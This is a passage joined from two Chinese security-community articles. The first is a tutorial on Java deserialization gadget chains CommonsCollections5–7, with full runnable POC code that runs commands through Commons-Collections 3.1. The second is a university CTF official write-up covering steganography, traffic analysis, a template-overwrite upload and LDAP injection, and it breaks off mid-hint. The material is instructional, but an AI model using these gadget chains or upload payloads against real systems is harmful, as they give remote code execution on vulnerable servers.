Field _name = clazz.getDeclaredField("_name");
Field _bytecode = clazz.getDeclaredField("_bytecodes");
Field _tfactory = clazz.getDeclaredField("_tfactory");
_name.setAccessible(true);
_bytecode.setAccessible(true);
_tfactory.setAccessible(true);
_name.set(obj, "h3rmesk1t");
_bytecode.set(obj, targetCode);
_tfactory.set(obj, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map, 1);
tiedMapEntry.toString();
}
public static void main(String[] args) {
try {
TiedMapEntryDemo();
} catch (Exception e) {
e.printStackTrace();
}
}
}
**BadAttributeValueExpException**
在`javax.management.BadAttributeValueExpException`类中，当`System.getSecurityManager()
==
null`或者`valObj`是除了`String`的其他基础类型时，都会调用`valObj`的`toString()`方法，利用这个触发点来配合前面的`TiedMapEntry`完成链子的构造。
### CommonsCollections5 分析
利用上面两个前置知识的触发点，配合`LazyMap`就可以完成一条新的攻击路径，也就是`CommonsCollections5`链。
**POC-1**
package CommonsCollections5;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @Author: H3rmesk1t
* @Data: 2021/11/30 1:59 下午
*/
public class CommonsCollections5Gadge1 {
public static void CC5() throws ClassNotFoundException, NoSuchFieldException, IOException, IllegalAccessException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "h3rmesk1t");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("h3rmesk1t");
Class _class = Class.forName("javax.management.BadAttributeValueExpException");
Field field = _class.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
try {
// 序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();
// 反序列化
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
objectInputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
try {
CC5();
} catch (Exception e) {
e.printStackTrace();
}
}
}
**POC-2**
package CommonsCollections5;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @Author: H3rmesk1t
* @Data: 2021/11/30 2:47 下午
*/
public class CommonsCollections5Gadge2 {
public static void CC5() throws CannotCompileException, NotFoundException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ctClass = pool.makeClass("Evil");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String shell = "java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\");";
ctClass.makeClassInitializer().insertBefore(shell);
byte[] shellCode = ctClass.toBytecode();
byte[][] targetCode = new byte[][]{shellCode};
TemplatesImpl templates = new TemplatesImpl();
Class clazz = templates.getClass();
Field _name = clazz.getDeclaredField("_name");
Field _bytecode = clazz.getDeclaredField("_bytecodes");
Field _tfactory = clazz.getDeclaredField("_tfactory");
_name.setAccessible(true);
_bytecode.setAccessible(true);
_tfactory.setAccessible(true);
_name.set(templates, "h3rmesk1t");
_bytecode.set(templates, targetCode);
_tfactory.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "h3rmesk1t");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("h3rmesk1t");
Class _class = Class.forName("javax.management.BadAttributeValueExpException");
Field field = _class.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
try {
// 序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();
// 反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
objectInputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
try {
CC5();
} catch (Exception e) {
e.printStackTrace();
}
}
}
### 调用链
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
### 总结
反序列化`BadAttributeValueExpException`调用`TiedMapEntry#toString`，间接调用了`LazyMap#get`，触发了后续的`Transformer`恶意执行链。
## CommonsCollections6链
### 环境搭建
1. `JDK`版本：JDK1.8u66(暂无限制)
2. `Commons-Collections`版本：3.1
利用`maven`来进行搭建，先创建一个`Maven`项目，不用选择任何`Maven`模板，`pom.xml`中内容如下，之后选择右侧的更新，让其自动导入包即可。
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>commons-collections</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
</project>
### 前置知识
**HashSet**
`HashSet`是一个无序的、不允许有重复元素的集合，本质上就是由`HashMap`实现的，跟`HashMap`一样，都是一个存放链表的数组，`HashSet`中的元素都存放在`HashMap`的`key`上面，而`value`中的值都是统一的一个`private
static final Object PRESENT = new
Object();`，在`HashSet`的`readObject`方法中会调用其内部`HashMap`的`put`方法，将值放在`key`上。
### CommonsCollections6 分析
在`CommonsCollections5`中，通过对`TiedMapEntry#toString`方法的调用，触发了`TiedMapEntry#getValue`，继而触发了`LazyMap#get`来完成后半段的调用；而在`CommonsCollections6`中则是通过`TiedMapEntry#hashCode`触发对`TiedMapEntry#getValue`的调用，但是需要找到一个触发`hashcode()`方法的点，因此利用前置知识中的`HashSet()`方法来触发`hashCode()`方法。
在`HashSet#readObject`方法中，跟进`put()`方法，进入`java.util.HashMap`中调用`put()`方法，接着调用`hash()`方法，进而调用`key.hashCode()`，这里只需要让`key`为`TiedMapEntry`对象即可。
但是在实际利用是需要解决一个问题，那就是在调用`put`方法的时候就触发命令执行的问题，P牛对此的解决方法是`outerMap.remove("h3rmesk1t");`，成功在反序列化的时候也触发了命令执行。
package CommonsCollections6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
/**
* @Author: H3rmesk1t
* @Data: 2021/11/30 4:38 下午
*/
public class FakeDemo {
public static void fakeDemo() throws IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "h3rmesk1t");
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "d1no");
map.remove("h3rmesk1t");
try {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(expMap);
objectOutputStream.close();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
objectInputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
try {
fakeDemo();
} catch (Exception e) {
e.printStackTrace();
}
}
}
**POC**
为了解决上述出现的问题，在构造`LazyMap`的时候先构造一个`fakeTransformers`对象，等最后⽣成`Payload`的时候，再利用反射将真正的`transformers`替换进去。
package CommonsCollections6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @Author: H3rmesk1t
* @Data: 2021/11/30 4:29 下午
*/
public class CommonsCollections6Gadget1 {
public static void CC6() throws IllegalAccessException, NoSuchFieldException {
Transformer[] fakeTransformers = new Transformer[] {};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "h3rmesk1t");
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "d1no");
map.remove("h3rmesk1t");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
//map.clear();
try {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(expMap);
objectOutputStream.close();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
objectInputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
try {
CC6();
} catch (Exception e) {
e.printStackTrace();
}
}
}
### 调用链
HashSet.readObject()/HashMap.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
### 总结
反序列化调用`TiedMapEntry`的`toString`方法，间接调用`LazyMap`的`hashCode`方法，触发了后续的`Transformer`恶意执行链。
## CommonsCollections7链
### 环境搭建
1. `JDK`版本：JDK1.8u66
2. `Commons-Collections`版本：3.1
利用`maven`来进行搭建，先创建一个`Maven`项目，不用选择任何`Maven`模板，`pom.xml`中内容如下，之后选择右侧的更新，让其自动导入包即可。
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>commons-collections</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
</project>
### 前置知识
**Hashtable**
`Hashtable`与`HashMap`类似，都是是一种`key-value`形式的哈希表。
[1] Hashtable 线程安全，HashMap 线程不安全
[2] HashMap 继承 AbstractMap，而 Hashtable 继承 Dictionary
[3] 两者内部基本都是使用“数组-链表”的结构，但是 HashMap 引入了红黑树的实现
[4] Hashtable 的 key-value 不允许为 null 值，但是 HashMap 则是允许的，后者会将 key=null 的实体放在 index=0 的位置
跟进`Hashtable`发现，在`readObject`方法中，会调用`reconstitutionPut()`方法，并在`reconstitutionPut()`方法中会调用`key.hashCode()`，后续的调用逻辑和`CommonsCollections6`链基本一致
**哈希碰撞机制**
在[ProgrammerSought](https://www.programmersought.com/article/94401321514/)上给出的说法是：
The so-called hash conflict, that is, the two key values are calculated by the hash function to obtain the same hash value, and a subscript can only store one key, which produces a hash conflict, if the subscript one of the keys first Saved, the other key must find its own storage location by other means.
也就是说，当两个不同的`key`通过`hash()`方法计算出同一个`hash`值时，而一个下标只能存储一个`key`，这就产生了`hash`冲突。
那么要如何构造出一个`hash`冲突呢，跟进`HashMap#hash`方法。
继续跟进`hashcode()`方法，根据`for`循环中的代码，不难推出`Hash`值的计算公式
这也就不难解释为什么`ysoserial`项目中的`CommonsCollections7`链中是`yy`和`zZ`了，需要时，利用`z3`来计算字符串位数不一样情况下的可能值即可。
ord("y") == 121
ord("z") == 122
ord("Z") == 90
"yy".hashCode() == 31 × 121 + 1 × 121 == 3872
"zZ".hashCode() == 31 × 122 + 1 × 90 == 3872
"yy".hashCode() == "zZ".hashCode() == 3872
### CommonsCollections7 分析
在`CommonsCollections`链中，利用`AbstractMap#equals`来触发对`LazyMap#get`方法的调用，这里的`m`如果是可控的话，那么设置`m`为`LazyMap`，就可以完成后面的链子构造。
继续跟进看看`equals`方法的调用点在哪，在前面的`Hashtable#reconstitutionPut`方法中存在着调用点：`e.key.equals(key)`，如果这里的`key`可控的话，上面的`m`也就是可控的。
观察到在`readObject`方法中传递进去的`key`，相应的，那么在`writeObject`处也会存在`Hashtable#put`进入的值。
这里还需要注意一个点，由于`if`语句是用`&&`连接判断条件的，那么要执行到后面的`e.key.equals(key)`，就必须先要满足`e.hash
== hash`，接着调用`equals`方法，这里利用到了`Hash`冲突(`Hash`碰撞)机制。
在`POC`中移除第二个`LazyMap`中的元素是因为`get`方法向当前的`map`添加了新元素，从而`map2`变成了两个元素。
### POC
package CommonsCollections7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
/**
* @Author: H3rmesk1t
* @Data: 2021/11/30 6:40 下午
*/
public class CommonsCollections7Gadget {
public static void CC7() throws NoSuchFieldException, IllegalAccessException {
Transformer[] faketransformer = new Transformer[]{};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(faketransformer);
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map map1 = LazyMap.decorate(hashMap1, chainedTransformer);
map1.put("yy", 1);
Map map2 = LazyMap.decorate(hashMap2, chainedTransformer);
map2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(map1, 1);
hashtable.put(map2, 1);
Class _class = chainedTransformer.getClass();
Field field = _class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
map2.remove("yy");
try {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
objectInputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
try {
CC7();
} catch (Exception e) {
e.printStackTrace();
}
}
}
### 调用链
Hashtable.readObject()
TiedMapEntry.hashCode()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
### 总结
主体思想是用`Hashtable`代替`HashMap`触发`LazyMap`，后续利用与`CommonsCollections6`链的`HashMap`利用方式基本一致。
## 后言
本文从`Java`反射入手，逐步分析了`ysoserial`项目中的`URLDNS`链和`CommonsCollections1`到`CommonsCollections7`链，在实战中和`CTF`竞赛中往往需要对现有的链子进行改造，但是根本的思想还是类似的，由于自己在分析的过程中还有很多的不足以及不理解的地方，对于文章中的错误欢迎师傅们进行指正。 | 社区文章 |
第一届大连东软信息学院“东软杯”网络安全CTF竞赛-官方WriteUp
为贯彻落实习近平总书记关于网络安全和信息化工作的一系列重要指示精神，延揽储备网信领域优秀人才，提升国家网络空间安全能力，加快攻防兼备创新人才培养步伐，进一步提升大学生的网络空间安全创新能力与实践能力，实现以赛促学、以赛促教、以赛促用。
**大连东软信息学院“东软杯”网络安全CTF竞赛
由大连市公安局作为指导单位、大连东软信息学院主办，网络安全工作室承办，大连东软信息学院网络与信息中心、计算机学院、软件学院，品牌发展部、微光网络工作室协办，品牌发展部与微光网络工作室提供设计支持，大连暗泉信息技术有限公司赞助支持**
。
**出题战队:大连东软信息学院网络安全工作室**
**特约出题人: Processor**
# MISC
### 1 签到
难度 签到
复制给出的flag输入即可
### 2 range_download
难度 中等
flag{6095B134-5437-4B21-BE52-EDC46A276297}
#### 0x01
分析dns流量，发现dns && ip.addr=1.1.1.1存在dns隧道数据，整理后得到base64:
cGFzc3dvcmQ6IG5zc195eWRzIQ==
解base64得到:
password: nss_yyds!
#### 0x02
分析http流量，发现ip.addr==172.21.249.233存在http分段下载数据，每次按照请求头range要求只下载一个字节。由于是random下载，所以需要按顺序整理，整理后可以得到一个加密的压缩包。
在整理过程中会发现缺失2349位字节，需要尝试对其进行修复。
由于0x01中，我们得到了zip的密码，所以可以对该字节进行爆破，如果密码正确，则修复成功。
#### 0x03
解开压缩包得到二维码，
扫描后得到:
5133687161454e534e6b394d4d325a7854475233566e6870626a42554e6a5a4a5645466c4e47786a62324e464d47705557464635546d6c536148565165564659645563774e327073515863324f5846555247314555564134555570706344686957444d336544684c596c4255556e6333636e687165486c756446413351577470566e4242526b6c4a5457316c515452754d555661636e4a7859556430566c4d3559557844656a4a35626c68334d6d5a4c51513d3d
ciphey分析得到flag：
ciphey "5133687161454e534e6b394d4d325a7854475233566e6870626a42554e6a5a4a5645466c4e47786a62324e464d47705557464635546d6c536148565165564659645563774e327073515863324f5846555247314555564134555570706344686957444d336544684c596c4255556e6333636e687165486c756446413351577470566e4242526b6c4a5457316c515452754d555661636e4a7859556430566c4d3559557844656a4a35626c68334d6d5a4c51513d3d" Possible plaintext: '5133687161454e534e6b394d4d325a7854475233566e6870626a42554e6a5a4a5645466c4e47786 a62324e464d47705557464635546d6c536148565165564659645563774e327073515863324f5846555247314555564134555 570706344686957444d336544684c596c4255556e6333636e687165486c756446413351577470566e4242526b6c4a5457316 c515452754d555661636e4a7859556430566c4d3559557844656a4a35626c68334d6d5a4c51513d3d' (y/N): Possible plaintext: '5133687161454v534v6y394w4w325z7854475233566v6870626z42554v6z5z4z5645466x4v47786 z62324v464w47705557464635546w6x536148565165564659645563774v327073515863324u5846555247314555564134555 570706344686957444w336544684x596x4255556v6333636v687165486x756446413351577470566v4242526y6x4z5457316 x515452754w555661636v4z7859556430566x4w3559557844656z4z35626x68334w6w5z4x51513w3w' (y/N): Possible plaintext: 'w3w31515x4z5w6w43386x62653z4z6564487559553w4x6650346559587z4v636166555w45725451 5x6137545z4x6y6252424v665074775153314644657x684561786v6363336v6555524x695x486445633w4447596864436070 755554314655554137425556485u423368515370723v477365546956465561565841635x6w64553646475550774w464v4232 6z68774v4x6645465z4z5z6v45524z6260786v6653325744587z523w4w493y6v435v4541617863315' (y/N): Possible plaintext: 'd3d31515c4a5d6d43386c62653a4a6564487559553d4c6650346559587a4e636166555d45725451 5c6137545a4c6b6252424e665074775153314644657c684561786e6363336e6555524c695c486445633d4447596864436070 755554314655554137425556485f423368515370723e477365546956465561565841635c6d64553646475550774d464e4232 6a68774e4c6645465a4a5a6e45524a6260786e6653325744587a523d4d493b6e435e4541617863315' (y/N): Possible plaintext: 'flag{6095B134-5437-4B21-BE52-EDC46A276297}' (y/N): y ╭────────────────────────────────────────────────────────────────╮
│ The plaintext is a Capture The Flag (CTF) Flag │
│ Formats used: │
│ hexadecimal │
│ base64 │
│ utf8 │
│ base62 │
│ base58_bitcoin │
│ base32 │
│ utf8Plaintext: "flag{6095B134-5437-4B21-BE52-EDC46A276297}" │ ╰────────────────────────────────────────────────────────────────╯
#### 0x04
题目流量生成脚本：
import os
import time
import requests
import random
for i in "cG Fz c3 dv cm Q6 IG 5z c1 95 eW Rz IQ ==".split(" "):
os.system("nslookup " + i+".nss.neusoft.edu.cn 1.1.1.1")
time.sleep(5)
l = int(requests.head("http://172.21.249.233/flag.7z", stream=True).headers["Content-Length"])
a = set()
while len(a) != l:
b = random.randint(0, l)
r = requests.get("http://172.21.249.233/flag.7z", stream=True, headers={"Range": "bytes=" + str(b) + "-" + str(b)})
if r.status_code == 416:
print(b)
a.add(b)
print(len(a))
### 3 只是个PNG，别想太多了.png
难度 签到
flag：flag{zhe_ti_mu_ye_tai_bt_le_XD}
本题考察的是对PNG结构以及常见工具的使用。
题目只是在IDAT数据当中存储了多余的zlib数据流，通过binwalk可以直接进行解压缩。
binwalk -Me PNG.png
### 4 png被打得很惨，现在卷土从来
难度 难
flag：
flag{zheshirenchude}
本题考察的是对PNG结构以及常见出题点的了解程度
打开题目是PNG图片，binwalk无异常
010editor打开发现crc异常，结构暂时没啥问题。
tweakpng打开发现，IHDR，IDAT，IEND数据块的CRC值均不对。
之后用StegSolve查看，发现图片有隐藏的框。框选出了IDAT data，说明IDAT数据应该有特殊之处需要查看。
图片本身的信息就这么多，从PNG结构来一点点看，首先IHDR区块CRC有问题，一般说明是图片高度被修改，通过CRC反计算脚本（或者直接修改高度值盲试）发现图片下面有隐藏图像。stegSolve查看，发现有隐藏图案
三个框分别圈出了png图片的一些数据结构，第二个框显示png图像数据使用zlib方式压缩。框选此处说明需要注意zlib压缩数据。
第三个框是具体压缩块数据结构。此图片内容为libpng官网文档截图，但是实际访问官网，可发现标注的压缩块结构标注并不符合。
数字被故意修改过，所以可知2233这串数字应该为题目的某个key或者hint。
之后所有的IDAT数据块CRC值均不正确。将所有CRC值拷贝下来。hex解码。发现是hint
hint _is_ [IEND_and_11]_jiayou_XD.
根据hint查看IEND，正常IEND数据应为空，仅作为文件结束标志。但是现在却有数据。
提取数据，发现前四位为9C 78,而zlib数据头为78 9C。修改前四位进行解压。发现是base64，之后进行解码。最后得出flag第一段
flag{zheshi
得到第一段之后，hint里面的11，还没有解决。通过查看发现chunk 11，是最后一个IDAT数据块。根据之前还有一个hint
2233，全数据块搜索2233。发现数据块末尾含有2233，仅此一个
根据前一段flag，猜测此处也是zlib压缩，将从2233开头到CRC值之前的32个HEX值复制，修改2233为zlib数据头78 9C
发现解码完数据为一种编码，根据前一段flag来猜测，此处应该是其他base家族类的编码。通过basecrack或者在线base解码，可得知此为base91，解码为renchude}
后一段flag为：renchude}
合并两段，得到最终flag
flag{zheshirenchude}
### 5 在哪呢
难度 简单
查看PDF
在文字中发现多处颜色越来越淡的提示
想到flag可能被以白色隐藏到文字中，全选文字
发现倒数第二段段尾有一段空白字
复制出来或编辑为其它颜色
得到flag
flag{hey_there_is_no_thing}
### 6 ecryptedzip
难度:难
本题考察的是对明文攻击的实战应用 在实际环境中不会主动提供明文文件用于明文攻击 需要自己寻找明文文件或部分明文进行攻击
压缩包内含有两个文件LICENSE和README.md
LICENSE为开源证书文件
将常⻅开源协议全下载下来 对比大小
发现Apache 2.0大小极为相近
使用github 内置的LICENSE文件可以成功解密
还有一种简单的方法 开源许可证很多都是空格开头 可以直接使用多个重复空格作为明文
### 7 easysteg
难度 简单
可以看到一个缺少定位符的二维码，补全后拿到提示：一种常见的隐写
分离图片拿到压缩包
解压后配合观察图片名称格式，使用stegpy拿到flag
flag{Do_U_Kn0w_Ste9py??}
### 8 压缩包压缩包压缩包
难度 简单
第一层为50996.zip
写脚本解密递归压缩包 300层
# 解题脚本
mkdir zips
mkdir zips/files
mv 50996.zip ./zips
cd zips
while :
do
file=$(ls -t | tail -1)
pass=$(zipinfo $file | grep - | cut -d ' ' -f12 | cut -d . -f1)
unzip -P $pass $file
echo "unzip -P $pass $file"
mv $file ./files
done
最后一层为23333.zip 6位数字密码为756698
打开sqlite在employees表中找到flag
flag{Unz1p_i5_So_C00l##}
# WEB
### 9 flag
难度 中等
#### 解法一
人肉排序，然后口算base64
#### 解法二
等网站输出足够多，复制下来，然后利用大部分文本编辑器都支持的`查找/替换`功能将消息替换成类似如下的格式。
a = list("a" * 20)
...
a[1]="a"
a[20]="b"
a[3]="c"
...
# 最后
import base64
print(base64.b64decode(''.join(a)))
#### 解法三
题目SSE实时推送消息至浏览器，路由为'/flag'，可以直接：
import base64
from sseclient import SSEClient
flag = ""
for msg in SSEClient('http://127.0.0.1/flag'):
msg = (str(msg).split("，"))
msg[1] = str(msg[1]).replace("叉(小写)", "x").replace("叉(大写)", "X")
if flag == "":
flag = list("?" * int(msg[0][2:-1])
)
if "?" not in "".join(flag):
break
flag[int(msg[1][1:-3])] = msg[1][-1]
print(base64.b64decode("".join(flag)))
等着输出就行了
#### Tips
题目根据浏览器是否成功加载<http://burp/favicon.ico图片来判断选手是否开启了BurpSuite。如果开启则会跳转至/Index，而正确的路由是/lndex。>
如果被检测到BurpSuite，会记录在session中，需要清空一下浏览器cookie再试。
### 10 odd_upload
本题考察的是新生对模板引擎的认识.
难度:中等
通过页面提示.很容易发现题目使用了smarty模板引擎的demo项目
题目提供了一个上传点. 后端使用了严格的后缀黑名单防止上传php或Apache配置文件.
可通过覆盖模板文件.tpl 控制模板内容
POST /? HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------43155698238817916993932117986
Content-Length: 365
Origin: http://
DNT: 1
Connection: close
Referer: http://
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
-----------------------------43155698238817916993932117986
Content-Disposition: form-data; name="file"; filename="header.tpl"
Content-Type: application/octet-stream
{phpinfo()}
-----------------------------43155698238817916993932117986
Content-Disposition: form-data; name="path"
templates/
-----------------------------43155698238817916993932117986--
再次访问首页 之前修改的模板被渲染 执行phpinfo函数 拿到环境变量中的flag
### 11 Easyinject
本题考察的是Ldap注入
难度:简单
首先通过页面注释账号登陆 发现提示 flag是在目录里面的某一个用户的邮箱属性
通过关键词“目录“ “属性”可判断出题目使用了ldap 或在fuzz时页面报错也可以判断出使用了ldap
这时可以使用通配符*猜测邮箱
L*
Ld*
Lda*
这里注意有重叠的字符串需要额外做处理
